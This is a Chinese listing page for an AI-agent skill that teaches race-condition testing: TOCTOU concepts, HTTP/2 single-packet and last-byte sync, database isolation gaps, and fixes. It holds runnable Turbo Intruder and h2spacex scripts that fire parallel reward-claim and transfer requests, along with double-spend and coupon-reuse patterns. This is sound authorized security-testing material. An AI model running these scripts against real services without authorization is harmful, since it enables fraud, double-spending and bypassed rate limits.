mcpField
R
race-condition

race-condition

github.com/yaklang安全2.6k3.7k 次安装6 周前更新
代码仓库

关于 race-condition

用于发现非原子状态检查与更新所致竞态条件的安全测试技能。它指导测试人员检查一次性操作、余额、速率限制和多步工作流,并通过同步并发请求及应用侧证据评估结果。

主要功能

  1. 01优先排查一次性与余额操作
  2. 02并发请求同步测试方法
  3. 03HTTP/1.1 末字节同步
  4. 04HTTP/2 单包测试思路
  5. 05Turbo Intruder 闸门模板
  6. 06结果与服务端状态核验

适用场景

  1. 01验证优惠券或奖励是否可重复领取
  2. 02检查并发请求能否绕过限额或余额控制
  3. 03测试验证与付款等多步流程的竞态

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill race-condition

安装后在 Claude Code 中输入/race-condition确认已加载。

详细介绍

技能:竞态条件 — 测试与利用手册

AI 加载指令:将竞态条件视为授权/状态完整性问题:非原子化的先读后写会让多个请求观察到过期状态。优先测试一次性或类似余额的操作。结合并行传输(HTTP/1.1 最后字节同步、HTTP/2 单数据包、Turbo Intruder 门控)与应用层证据(重复的成功响应、不一致的余额、重复的账本记录)。仅限授权测试。 路由说明:对于业务工作流、优惠券、库存或一次性奖励,请从此技能开始,并同时加载 business-logic-vulnerabilities。


0. 快速开始 — 优先测试什么

针对检查与更新不太可能由单个原子数据库操作完成的端点:

优先级操作类别示例路径 / 参数
1一次性兑换 / 优惠券 / 奖励redeem、apply_coupon、claim_reward、voucher
2余额 / 配额 / 库存扣减transfer、purchase、reserve、inventory
3邀请 / 推荐 / 注册奖励invite_accept、referral_claim
4密码 / 邮箱 / MFA 验证verify_token、confirm_email、reset_password
5看似幂等但没有强校验密钥的 API应当对每位用户仅成功一次的 POST

初步操作(概念层面):

  1. 在代理中捕获会改变状态的请求。
  2. 在工具允许的范围内,尽可能同时发送 20–100 个副本。
  3. 判定结果:预期为 0/1 次成功,还是出现 N 次成功或最终状态不一致。

1. 核心概念

1.1 TOCTOU(检查时与使用时之间的时间差)
Thread A                    Thread B
   |                            |
   +-- CHECK (resource OK)      |
   |                            +-- CHECK (resource OK)  ← both see "OK"
   +-- USE / UPDATE             |
   |                            +-- USE / UPDATE           ← duplicate effect

TOCTOU 指决策(检查)与变更(使用)并非一个不可分割的步骤。

1.2 非原子化的先读后写

典型的易受攻击伪流程:

balance = SELECT balance FROM accounts WHERE id = ?
if balance >= amount:
    UPDATE accounts SET balance = balance - ? WHERE id = ?

两个并发请求都可能在任何一个 UPDATE 提交之前通过 if 检查。

1.3 数据库层与应用层的锁定缺口
层级问题所在
应用层内存标记、缓存或会话显示“尚未使用”,但数据库已更新——或者情况相反。
ORM / 服务层存在两个实例且没有分布式锁;每个实例都认为自己拥有决策权。
数据库缺少 SELECT … FOR UPDATE、隔离级别错误,或逻辑被拆分为多个语句且未使用事务。
API 网关每 IP 限速采用先检查再递增的方式——并行突发请求会绕过重复检查。

提示:UNIQUE 约束和幂等键通常可以消除整类漏洞——测试应用是否在关键路径上强制执行这些机制。


2. 攻击模式

2.1 超出限制(重复兑换 / 重复领取)

并行多次发送同一个已认证请求:

POST /api/v1/rewards/claim HTTP/1.1
Host: target.example
Authorization: Bearer <token>
Content-Type: application/json

{"reward_id":"welcome_bonus"}

成功信号:多次收到 HTTP 200/201,出现重复账本记录,或余额高于策略允许的值。

2.2 利用同时性绕过速率限制

如果限额通过逐请求检查计数器实现,且递增操作不是原子的:

POST /api/v1/login HTTP/1.1
Host: target.example
Content-Type: application/json

{"email":"[email protected]","password":"wrong"}

一轮中并行发起 N 次尝试;与 N 次顺序尝试的结果进行比较。

成功信号:接受的失败次数超过文档规定的上限,或在突发请求于一个时间窗口内完成时未触发锁定。

2.3 多步骤利用(抢在处理流程之前)

工作流:create → pay → confirm。如果 confirm 没有通过加密方式与 pay 的完成状态绑定:

  1. 从同一会话/项目启动两条并行处理流程。
  2. 在通道 A 的 pay 仍在处理中或已被放弃时,通过通道 B 完成 confirm。

成功信号:商品在没有对应付款的情况下被标记为已付款/已发货,或状态发生回退。


3. HTTP/1.1 最后字节同步

思路:让所有请求保持阻塞,直到每个套接字都已发送完整请求正文,只剩最后一个字节;然后一起放出最后一个字节,使服务器在极短时间内集中收到这些请求。

Client 1: [headers + body - 1 byte] ----hold----+
Client 2: [headers + body - 1 byte] ----hold----+--> flush last byte together
Client N: [headers + body - 1 byte] ----hold----+

原因:与在 Repeater 中天真地依次粘贴相比,可减少副本之间的网络抖动。

工具:自定义脚本、部分 Burp 扩展,或将 Turbo Intruder 的 gate 模式(见 §5)用作实用的同步释放替代方案。


4. HTTP/2 单数据包攻击

思路:多路复用多个完整的 HTTP/2 流,并将它们的帧合并,使所有请求的首字节在同一个 TCP 段中(或以最小间隔)从网卡发出。随后由接收端调度处理,使它们的处理间隔达到亚毫秒级。

Burp Repeater(现代工作流):

  1. 打开多个选项卡,或选择多个请求。
  2. 在可用时,使用 Send group (parallel) / single-packet attack。
  3. 如果目标支持,优先使用 HTTP/2。
  [ Req A stream ]
  [ Req B stream ]  --HTTP/2-->  one burst -->  app worker pool
  [ Req C stream ]

它为何往往胜过 HTTP/1.1 最后字节技巧:在线路上的对齐更紧密;对每个连接的串行化依赖更少。


5. TURBO INTRUDER 模板

仓库:PortSwigger/turbo-intruder(Burp Suite 扩展)。

5.1 模板 1 — 同一端点,使用 gate 释放

设置:concurrentConnections=30、requestsPerConnection=30,使用 gate 让所有线程同时发送。

核心模式(重复 N 次,然后释放):

for _ in range(N):
    engine.queue(request, gate='race1')
engine.openGate('race1')
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False,
                           engine=Engine.THREADED,
                           maxRetriesPerRequest=0
                           )

    for i in range(30):
        engine.queue(target.req, gate='race1')

    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

标头要求(每个排队的副本都应唯一,以便在日志中进行关联;Turbo Intruder 载荷占位符):

x-request: %s

Turbo Intruder 与字典列表(或其他载荷来源)搭配时,会为每个请求替换 %s —— 在发送到 Turbo Intruder 之前,请在 Repeater 的基础请求中保留此标头。HTTP 标头名称不区分大小写;请使用一致的名称,以便通过 grep 搜索日志。

5.2 模板 2 — 多个端点,同一个 gate

模式:一个针对 target-1 的 POST(更改状态),加上多个针对 target-2 的 GET(读取端),同时释放,以扩大对 TOCTOU 窗口的观察范围。

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False,
                           engine=Engine.THREADED,
                           maxRetriesPerRequest=0
                           )

    engine.queue(post_to_target1, gate='race1')
    for _ in range(30):
        engine.queue(get_target2, gate='race1')

    engine.openGate('race1')

如果端点不同,可通过复制 RequestEngine 实例调整主机/路径(Turbo Intruder 支持多个引擎——请查阅适用于你的 Burp 版本的上游文档)。


6. CVE 参考 — CVE-2022-4037

CVE-2022-4037(GitLab CE/EE):竞争条件会导致已验证电子邮件地址伪造;当该产品充当 OAuth 身份提供方时,还会带来风险——涉及第三方账户关联/影响场景。CWE-362。公开研究已展示了使用 HTTP/2 单数据包式时序赢得狭窄时间窗口的方法。

测试人员须知:电子邮件验证、OAuth 关联和“确认所有权”流程都是高价值的竞争条件测试目标——不只是优惠券和余额。

参考资料(官方/中立):

  • NVD — CVE-2022-4037
  • GitLab 安全公告和供应商提供的 CVE JSON,其中列出了受影响的版本范围

7. 工具

工具作用
PortSwigger/turbo-intruder高并发重放、Burp 中的 gate 和脚本编写。
JavanXD/Raceocat面向竞争条件的 HTTP 客户端模式(请确认与你的技术栈兼容)。
nxenon/h2spacexHTTP/2 底层/单数据包式实验(请负责任地使用,且仅针对已授权的目标)。
Burp Suite — Repeater用于多请求同步的 Send group (parallel) / single-packet attack。

8. 决策树

                         START: state-changing API?
                                    |
                     NO -----------+---------- YES
                      |                        |
                   stop here              one-time / balance / verify?
                                                    |
                          +-------------------------+-------------------------+
                          |                         |                         |
                    coupon-like                 rate limit                  multi-step
                          |                         |                         |
                   parallel same req          parallel vs serial         parallel pipelines
                          |                         |                         |
                   duplicate success?           limit exceeded?          state mismatch?
                     /       \                    /       \                  /       \
                   YES       NO                 YES       NO               YES       NO
                    |         |                  |         |                |         |
              report +    try HTTP/2        report +    try TI        report +   deepen
              evidence    single-packet      evidence    gates                     per-step
                    |         |                  |         |                |         |
                    +----+----+                  +----+----+                +----+----+
                         |                            |                          |
                    tool pick                    tool pick                  tool pick
                         v                            v                          v
              Burp group / h2spacex            TI gates / Raceocat          TI + trace IDs

如何确认(证据检查清单):

  1. 可复现:并行执行时能稳定复现重复成功,而非只在单次重试中偶发。
  2. 服务端:存在服务端产物,例如两条记录、两封邮件、两项授权,或最终余额错误。
  3. 关联:在日志中通过 x-request(或类似)标记或唯一请求体字段进行关联(须在获授权的环境中)。

路由概要:如果场景更侧重业务规则、定价或绕过工作流,请加载 skills/business-logic-vulnerabilities/SKILL.md;此文件侧重于并发和传输层同步。


9. HTTP/2 单数据包攻击 — 详细机制

9.1 TCP Nagle 算法与帧合并

TCP 的 Nagle 算法(RFC 896)会缓冲小型写入,并将其合并为更少、更大的数据段。当 HTTP/2 客户端快速连续写入多个 HEADERS+DATA 帧,且期间不进行刷新时,内核会将它们合并到一个 TCP 数据段中(最大可达 MSS,在以太网上通常约为 1460 字节)。

Application layer:   [Stream 1 H+D] [Stream 3 H+D] [Stream 5 H+D]
                            ↓ TCP Nagle coalescing ↓
TCP segment:         [Stream 1 H+D | Stream 3 H+D | Stream 5 H+D]  ← one packet on the wire
  • TCP_NODELAY 禁用(默认)→ Nagle 算法启用 → 自然发生合并
  • 如果设置了 TCP_NODELAY,客户端必须使用 writev() / gather-write 系统调用来批量发送帧
  • 实际上限:每个 1460 字节的 MSS 约可容纳 20–30 个小型请求;超出后会拆分到多个数据包中,降低同步效果
9.2 服务端请求队列处理
NIC IRQ → kernel recv buffer → HTTP/2 demuxer → concurrent dispatch

  ┌─ Stream 1 → worker thread A ─┐
  ├─ Stream 3 → worker thread B ─┤  sub-microsecond spacing
  └─ Stream 5 → worker thread C ─┘
  1. 单次 recv() 系统调用返回整个数据段
  2. HTTP/2 帧解析器从同一数据段中解复用各个流
  3. 分发器将请求分配给应用程序工作线程池

第一个到最后一个请求的分发间隔:现代服务器上小于 100 μs,比 HTTP/1.1 最后字节同步的延迟(约 1–5 ms 网络抖动)小几个数量级。

9.3 HTTP/2 与 HTTP/1.1 最后字节对比
因素HTTP/2 单数据包HTTP/1.1 最后字节
所需连接数1N(每个请求一个)
线上同步同一个 TCP 数据段N 个数据段“同时”释放
网络抖动的影响零(同一个数据包)每个连接都有独立的 RTT
服务端分发间隔小于 100 μs通常为 1–5 ms
实际上限每个 MTU 约 20–30 个请求受连接建立限制
9.4 使用 h2spacex 的实际执行
import h2spacex

h2_conn = h2spacex.H2OnTCPSocket(
    hostname='target.example.com',
    port_number=443
)

headers_list = []
for i in range(20):
    headers_list.append([
        (':method', 'POST'),
        (':path', '/api/v1/rewards/claim'),
        (':authority', 'target.example.com'),
        (':scheme', 'https'),
        ('content-type', 'application/json'),
        ('authorization', 'Bearer TOKEN'),
    ])

h2_conn.setup_connection()
h2_conn.send_ping_frame()
h2_conn.send_multiple_requests_at_once(
    headers_list,
    body_list=[b'{"reward_id":"welcome_bonus"}'] * 20
)
responses = h2_conn.read_multiple_responses()

10. 数据库隔离级别利用矩阵

隔离级别利用的现象攻击窗口常见易受攻击模式
READ UNCOMMITTED脏读线程 B 读取线程 A 尚未提交的写入SELECT balance 读取到正在进行的扣款,随后按过时逻辑继续处理
READ COMMITTED不可重复读(TOCTOU)两个线程读取已提交的余额,均通过检查并都执行扣款SELECT → 应用层检查 → 未使用 FOR UPDATE 的 UPDATE
REPEATABLE READ幻读快照隔离隐藏并发插入;两个线程都看到“0 个领取记录”并插入未设置 UNIQUE 约束的 INSERT IF NOT EXISTS 模式
SERIALIZABLE绕过建议锁应用使用 pg_advisory_lock() / GET_LOCK(),但作用域错误或键可推导锁键来自用户输入;会话作用域与事务作用域不匹配
READ COMMITTED 下的 TOCTOU(生产环境中最常见)
-- Thread A                            -- Thread B
SELECT balance FROM accounts           SELECT balance FROM accounts
  WHERE id=1;  -- returns 100            WHERE id=1;  -- returns 100
-- app: 100 >= 100 ✓                   -- app: 100 >= 100 ✓
UPDATE accounts SET balance =          UPDATE accounts SET balance =
  balance - 100 WHERE id=1;             balance - 100 WHERE id=1;
COMMIT; -- balance = 0                 COMMIT; -- balance = -100 ← double-spend

修复验证:SELECT ... FOR UPDATE 应阻塞线程 B 的 SELECT,直到线程 A 提交。

REPEATABLE READ 下的幻影插入
-- Thread A (snapshot at T0)           -- Thread B (snapshot at T0)
SELECT count(*) FROM claims            SELECT count(*) FROM claims
  WHERE user_id=1 AND coupon='X';        WHERE user_id=1 AND coupon='X';
-- returns 0 (snapshot)                -- returns 0 (snapshot)
INSERT INTO claims ...;                INSERT INTO claims ...;
COMMIT; -- succeeds                    COMMIT; -- succeeds ← duplicate claim

修复方法:UNIQUE(user_id, coupon_id) 约束会导致其中一个 INSERT 因重复键错误而失败,不受隔离级别影响。

SERIALIZABLE 下的建议锁绕过
-- Application intends: one lock per coupon
SELECT pg_advisory_lock(hashtext('coupon_' || $coupon_id));
-- Bypass vectors:
--   1. Lock is session-scoped but transaction rolls back → lock persists, next txn skips
--   2. Different code path reaches claim logic without acquiring the lock
--   3. Attacker triggers claim via alternative API endpoint that lacks locking
快速审计检查清单
□ SHOW TRANSACTION ISOLATION LEVEL — what level is the database running?
□ Does the hot path use SELECT ... FOR UPDATE or explicit row locks?
□ Is the check-then-act sequence inside a single transaction?
□ Are UNIQUE constraints enforced on the critical state table?
□ Multi-instance deployment: is there a distributed lock (Redis SETNX / Zookeeper)?

11. 超出限制的攻击模式

11.1 重复使用优惠券 / 促销码
Target:   POST /api/apply-coupon {"code":"SUMMER50"}
Expected: One use per user
Attack:   20 parallel identical requests
Evidence: Multiple 200 responses, final order total = N × discount applied

变体:同一优惠券用于不同购物车商品;并行执行使用优惠券和结账(优惠券仅在结账时才被消耗)。

11.2 投票 / 评分操纵
Target:   POST /api/vote {"post_id":123,"direction":"up"}
Expected: One vote per user per post
Attack:   50 parallel vote requests
Evidence: Vote count += N, or DB shows multiple vote rows for same user+post
11.3 余额双花
Target:   POST /api/transfer {"to":"attacker","amount":100}
Balance:  Exactly 100
Attack:   2+ parallel transfers
Evidence: Both succeed, sender balance goes negative, recipient receives 200

更高价值的变体:提现到外部系统(加密货币、银行电汇),且难以撤销。

11.4 库存超卖
Target:   POST /api/purchase {"item_id":"limited_edition","qty":1}
Stock:    1 remaining
Attack:   20 parallel purchase requests
Evidence: Multiple orders created, stock counter goes negative

复合攻击:加入购物车和结账是两个独立步骤,且分别独立检查库存。

11.5 推荐 / 注册奖励
Target:   POST /api/referral/claim {"code":"REF_ABC"}
Expected: One claim per referred user
Attack:   Parallel claims from same session
Evidence: Bonus credited to referrer multiple times

12. 单数据包多端点攻击

不发送 N 份相同请求,而是在一次 HTTP/2 单数据包突发中向不同端点发送请求。通过同时命中检查路径和使用路径,扩大 TOCTOU 窗口。

模式 1:状态检查 + 状态变更
Single TCP segment:
  Stream 1: GET  /api/balance       ← probe pre-state
  Stream 3: POST /api/transfer      ← mutate
  Stream 5: POST /api/transfer      ← mutate (duplicate)
  Stream 7: GET  /api/balance       ← probe post-state

流 1 和流 7 之间的余额不一致,证实命中了竞态窗口。

模式 2:跨资源竞态
Single TCP segment:
  Stream 1: POST /api/coupon/apply   ← apply discount
  Stream 3: POST /api/order/checkout ← finalize order

如果优惠券应用和结账分别独立检查价格,结账锁定价格后,折扣仍可能生效。

模式 3:身份验证 + 特权操作
Single TCP segment:
  Stream 1: POST /api/email/verify?token=TOKEN  ← verify email
  Stream 3: POST /api/account/upgrade            ← requires verified email

在验证正在处理但尚未提交的短暂窗口内,升级操作可能成功。

实际设置

Burp Repeater:将指向不同路径的请求添加到同一组 → “Send group (single packet)”。

headers_balance = [(':method','GET'), (':path','/api/balance'), ...]
headers_transfer = [(':method','POST'), (':path','/api/transfer'), ...]

all_headers = [headers_balance] + [headers_transfer]*5 + [headers_balance]
all_bodies = [b''] + [b'{"to":"attacker","amount":100}']*5 + [b'']

h2_conn.send_multiple_requests_at_once(all_headers, body_list=all_bodies)

相关内容

  • business-logic-vulnerabilities — 工作流、优惠券滥用和逻辑优先检查清单(../business-logic-vulnerabilities/SKILL.md)。

评论

支持 Markdown